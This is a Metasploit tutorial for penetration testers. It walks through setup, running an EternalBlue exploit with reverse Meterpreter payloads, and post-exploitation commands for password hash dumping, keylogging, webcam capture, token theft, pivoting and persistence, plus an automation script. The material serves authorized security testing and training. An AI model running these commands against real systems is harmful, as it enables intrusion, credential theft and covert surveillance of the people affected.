In-Depth Techniques for Penetration Testers
The Metasploit Framework is an indispensable tool for security professionals, providing a comprehensive platform for vulnerability assessment, exploitation, and post-exploitation. Its modular architecture allows for easy integration of new exploits, payloads, and tools. Mastering Metasploit significantly enhances penetration testing efficiency and effectiveness.
I. Initial Setup and Database Integration
Proper setup maximizes Metasploit's capabilities, especially database integration for managing host data, vulnerabilities, and loot.
Initializing and Managing the Database
# Initialize the PostgreSQL database (run once if needed)
sudo msfdb init
# Start Metasploit console
msfconsole
# Verify database connection status inside msfconsole
msf6> db_status
[*] postgresql connected to msf
# Manage workspaces (separate projects)
msf6> workspace # List workspaces
msf6> workspace -a ProjectX # Add a new workspace named ProjectX
msf6> workspace ProjectX # Switch to ProjectX workspaceUsing workspaces keeps findings from different engagements separate.
Importing Scan Data
Import results from external scanners like Nmap to populate the Metasploit database with hosts, services, and potential vulnerabilities.
# Run an Nmap scan and save output to XML
nmap -sV -O -oX nmap_scan.xml 192.168.1.0/24
# Import the Nmap XML file into Metasploit
msf6> db_import nmap_scan.xml
[*] Importing 'Nmap XML' data...
[*] Successfully imported nmap_scan.xml
# View imported hosts and services
msf6> hosts
msf6> servicesImporting scans allows Metasploit to correlate vulnerabilities with known exploits.
II. Finding and Selecting Modules
Metasploit's power lies in its vast module library. Efficient searching is key.
Advanced Search Techniques
# Basic search by keyword
msf6> search smb
# Search by CVE number
msf6> search cve:2017-0144
# Search by platform and type
msf6> search platform:windows type:exploit
# Combine multiple filters (EternalBlue exploit for Windows)
msf6> search name:eternalblue type:exploit platform:windows
# Search for auxiliary modules related to SSH login
msf6> search ssh_login type:auxiliaryUse filters like type:, platform:, name:, cve:, author: for precise results.
Using and Configuring Modules
# Use a module by its full name or index number from search results
msf6> use exploit/windows/smb/ms17_0144_eternalblue_win8
# OR
msf6> use 0 # If it was index 0 in the last search
# Show required and optional settings
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> show options
# Show advanced options (less commonly changed)
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> show advanced
# Show specific targets the exploit supports
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> show targets
# Set target IP address(es)
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> set RHOSTS 192.168.1.143
# Set attacker IP for reverse shells (use 'ip a' or 'ifconfig' to find yours)
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> set LHOST 192.168.1.100
# Set attacker listening port
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> set LPORT 4444
# Set an option globally (e.g., always use your IP as LHOST)
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> setg LHOST 192.168.1.100
# View detailed module info
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> infoRHOSTS = Remote Host(s) / Target IP. LHOST = Local Host / Your Attacker IP (for reverse connections). LPORT = Local Port / Your Attacker Listening Port.
III. Understanding Payloads
Payloads determine what happens after successful exploitation.
- Inline (Singles): Self-contained, larger payloads. No external dependencies needed after delivery. Often more stable but less stealthy. Example:
windows/shell_bind_tcp. - Staged: Smaller initial "stager" payload that connects back to Metasploit to download the larger "stage" (e.g., Meterpreter). Stealthier initially but requires the second connection. Example:
windows/meterpreter/reverse_tcp. - Meterpreter: Advanced, extensible payload living entirely in memory. Provides a rich command set and allows loading extensions (modules) on the fly. The preferred payload in most cases.
- Shell: Provides standard command-line access (cmd.exe, /bin/sh) on the target. Less feature-rich than Meterpreter.
- PassiveX: Uses existing browser sessions (IE) for communication, useful for bypassing firewalls.
- Reverse Connection: Target connects *back* to the attacker (Metasploit listener). Requires
LHOSTandLPORT. Bypasses inbound firewall rules on the target. - Bind Connection: Payload opens a port on the *target* machine, and the attacker connects *to* it. Requires
RHOSTandLPORT(target listening port, default often 4444). Blocked if the target has a firewall restricting inbound connections.
Selecting and Configuring Payloads
# Show compatible payloads for the current exploit
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> show payloads
# Set a specific payload (staged Meterpreter reverse TCP)
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> set payload windows/meterpreter/reverse_tcp
# Set a stageless payload (larger, single stage)
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> set payload windows/meterpreter_reverse_tcp # Note the underscore
# Set a bind shell payload
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> set LPORT 4444 # Target will listen on this portEnsure LHOST/ LPORT are correctly set based on reverse or bind payload choice.
IV. Exploitation
Running the exploit module against the configured target.
# Check if the target is likely vulnerable before firing the exploit
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> check
[*] 192.168.1.143:445 - The target is likely vulnerable.
# Run the exploit
msf6 exploit(windows/smb/ms17_0144_eternalblue_win8)> exploit # or 'run'
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.143:445 - Connecting to target for exploitation.
[+] 192.168.1.143:445 - Connection established for exploitation.
... (exploit output) ...
[+] 192.168.1.143:445 - Target exploited successfully.
[*] Sending stage (175174 bytes) to 192.168.1.143
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.143:49157) at ...
meterpreter> # Session opened!The check command verifies exploitability without running the full exploit. Successful exploitation often results in a session opening.
V. Meterpreter: Advanced Post-Exploitation
Meterpreter provides extensive capabilities on the compromised host.
Core & File System Commands
meterpreter> pwd # Print working directory
meterpreter> cd C:\\Users\\Public # Change directory
meterpreter> ls # List files
meterpreter> cat secret.txt # Display file content
meterpreter> download important.docx /home/kali/loot/ # Download file
meterpreter> upload /home/kali/tools/nc.exe C:\\Windows\\Temp\\ # Upload file
meterpreter> edit config.ini # Edit file in vim locally, uploads on save
meterpreter> mkdir backups # Create directory
meterpreter> rm old_log.txt # Delete file
meterpreter> search -f *.pdf -d C:\\Users # Search for filesProcess Management
meterpreter> ps # List running processes
meterpreter> getpid # Get the PID of the Meterpreter process
meterpreter> migrate 1234 # Migrate into process with PID 1234 (e.g., explorer.exe)
meterpreter> kill 5678 # Terminate process PID 5678
meterpreter> execute -f cmd.exe -H -i # Execute a command interactively (hidden)Migrating (migrate) to a stable process like `explorer.exe` or `svchost.exe` can help persistence if the exploited process crashes.
System & Privilege Escalation
meterpreter> sysinfo # Get system information
meterpreter> getuid # Get current user ID
meterpreter> getprivs # Get current process privileges
meterpreter> getsystem # Attempt privilege escalation to SYSTEM (various techniques)
meterpreter> hashdump # Dump password hashes (requires SYSTEM privileges)
meterpreter> steal_token 888 # Impersonate token from process PID 888
meterpreter> rev2self # Revert to original token after impersonationNetworking
meterpreter> ipconfig # Show network interface configuration
meterpreter> route # Show routing table
meterpreter> portfwd add -l 33890 -p 3389 -r 10.0.0.5 # Forward local port 33890 to RDP (3389) on internal host 10.0.0.5
meterpreter> portfwd list
meterpreter> portfwd delete -l 33890portfwd is crucial for pivoting – accessing internal network services through the compromised host.
User Interface & Data Exfiltration
meterpreter> screenshot # Take screenshot of desktop
meterpreter> screenshare # Live view of the target desktop in browser
meterpreter> keyscan_start # Start keylogger
meterpreter> keyscan_dump # Dump captured keystrokes
meterpreter> keyscan_stop # Stop keylogger
meterpreter> webcam_list # List webcams
meterpreter> webcam_snap 1 # Take snapshot from webcam 1
meterpreter> idletime # Check user idle timeSession Management
meterpreter> background # Send current session to background
msf6 exploit(...)> sessions # List active sessions
msf6 exploit(...)> sessions -i 1 # Interact with session 1
meterpreter> exit # Close the current sessionVI. Metasploit Post-Exploitation Modules
Run specialized modules directly from Meterpreter or the msfconsole against an active session.
# Background the meterpreter session first if running from msfconsole
meterpreter> background
# Use a post module to gather information
msf6 exploit(...)> use post/windows/gather/checkvm
msf6 post(windows/gather/checkvm)> set SESSION 1 # Specify the target session ID
msf6 post(windows/gather/checkvm)> run
[*] Checking if 192.168.1.143 is a VM...
[+] This is likely a VMware virtual machine
# Common useful post modules:
# post/multi/recon/local_exploit_suggester # Find potential local privesc exploits
# post/windows/gather/enum_shares
# post/windows/gather/enum_logged_on_users
# post/windows/gather/credentials/windows_autologin
# post/windows/manage/enable_rdp
# post/multi/manage/autoroute # Setup routes for pivoting
# Alternatively, run directly from Meterpreter prompt
meterpreter> run post/windows/gather/enum_applications
meterpreter> run scraper # Gathers extensive system info
meterpreter> run winenum # Another comprehensive enumeration scriptPost modules automate many common post-exploitation tasks.
VII. Persistence
Maintaining access after the initial exploit (requires caution and authorization).
# Using a dedicated persistence module (example)
meterpreter> run exploit/windows/local/persistence # Older, often detected
# OR use newer variants if available:
meterpreter> run post/windows/manage/persistence_exe REXEPATH=C:\\Windows\\Temp\\payload.exe STARTUP=USERThese modules typically install a payload (often generated separately using `msfvenom`) and configure it to run automatically (e.g., via registry keys, scheduled tasks).
VIII. Automation with Resource Scripts (.rc files)
Automate sequences of commands using resource scripts.
# Create a file named setup.rc with commands:
cat << EOF > setup.rc
use exploit/windows/smb/ms17_0144_eternalblue_win8
set RHOSTS 192.168.1.143
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
exploit -j -z
EOF
# Run msfconsole with the resource script
msfconsole -r setup.rc-j runs the exploit as a job, -z runs post-exploit handlers after session creation. Useful for automating setup or multi-stage attacks.
Conclusion
This guide covers a significant range of Metasploit's capabilities, from initial setup and module selection to advanced Meterpreter usage, post-exploitation, persistence, and automation. Continuous practice and exploration of modules are essential for mastering this powerful framework for authorized security testing.